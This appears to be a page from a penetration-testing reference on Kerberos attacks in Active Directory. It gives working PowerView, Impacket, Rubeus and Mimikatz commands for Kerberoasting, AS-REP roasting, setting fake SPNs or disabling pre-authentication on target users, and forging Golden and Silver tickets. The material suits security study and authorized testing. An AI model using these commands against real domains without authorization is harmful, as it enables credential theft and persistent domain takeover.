Kerberos Attacks

Kerberos is the default authentication protocol in Active Directory. Several design features can be abused to compromise credentials or forge tickets for persistence.

Kerberoasting

Kerberoasting targets service accounts by requesting a Ticket Granting Service (TGS) ticket for a service Principal Name (SPN). The TGS is encrypted with the service account's NTLM hash, which can be cracked offline. This technique works on any account that has an SPN set.

Finding Vulnerable Accounts

First, identify user accounts that have a Service Principal Name (SPN) associated with them.

PowerView:

Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname

Impacket:

GetUserSPNs.py corp.local/user:password -dc-ip 10.10.10.1

Requesting TGS Tickets

Request the TGS ticket for the identified services. The output can be saved for offline cracking.

Rubeus:

.\Rubeus.exe kerberoast /outfile:hashes.txt

PowerView:

Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File hashes.txt

Cracking the Hash

The hashcat mode is decided by the ticket's encryption, not by the tool: -m 13100 for an RC4 TGS, -m 19700 for AES. Which one you get depends on the account's keys and the domain's etype policy, so Kerberos Attacks (05c) owns the cracking step — both modes, the RC4 boundary that moved with the 2022 updates, and the /tgtdeleg caveat. Use its command rather than a copy here.

Targeted Kerberoasting

If you have write access to a user object (GenericWrite/GenericAll), you can set a fake SPN on that user to make them kerberoastable.

Set SPN on target user, then kerberoast:

Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/spn'}
GetUserSPNs.py corp.local/user:password -dc-ip 10.10.10.1 -request

AS-REP Roasting

AS-REP Roasting targets users that have "Do not require Kerberos preauthentication" enabled. An attacker can request an AS-REP (Authentication Service Response) for these users, which contains a chunk encrypted with the user's password hash.

Enumeration & Exploitation

Identify accounts with pre-authentication disabled and request the AS-REP.

PowerView:

Get-DomainUser -PreauthNotRequired | Select-Object samaccountname

Impacket (can enumerate without creds if usernames known):

GetNPUsers.py corp.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt

The credentialed form of GetNPUsers.py, the Rubeus equivalent and the hashcat mode for the resulting hash are on Kerberos Attacks (05c). This page keeps one command per step so the chain stays readable; the phase page is the copy that is kept current.

Forced AS-REP Roasting

If you have sufficient rights (GenericAll/GenericWrite) on a user, you can disable pre-authentication, roast the account, and then re-enable it.

Disable preauth, AS-REP roast, then re-enable:

Set-DomainObject -Identity targetuser -XOR @{useraccountcontrol=4194304}

Golden & Silver Tickets

Ticket forgery attacks allow attackers to create valid Kerberos tickets. Golden Tickets (TGT) grant domain-wide access, while Silver Tickets (TGS) grant access to specific services.

Golden Ticket (TGT)

Requires the KRBTGT account hash and the Domain SID. This grants complete control over the domain. The krbtgt hash is a DCSync result, so Domain Dominance (06d) owns the extraction step and the detection that goes with it.

Get Domain SID:

Get-DomainSID
# or
lookupsid.py corp.local/user:password@DC_IP

Create Golden Ticket with Mimikatz:

kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:HASH /ptt

The Impacket ticketer.py form of both tickets, the ticket lifetime and group flags, and the /rc4: versus /aes256: requirement are on Kerberos Attacks (05c). That page keeps the variant set; this one shows the shape of each step.

Silver Ticket (TGS)

Requires the service account hash, Domain SID, and Service SPN. Grants access to the specific service on the target host.

Create Silver Ticket for CIFS (file shares):

kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /target:fileserver.corp.local /service:cifs /rc4:SERVICE_HASH /ptt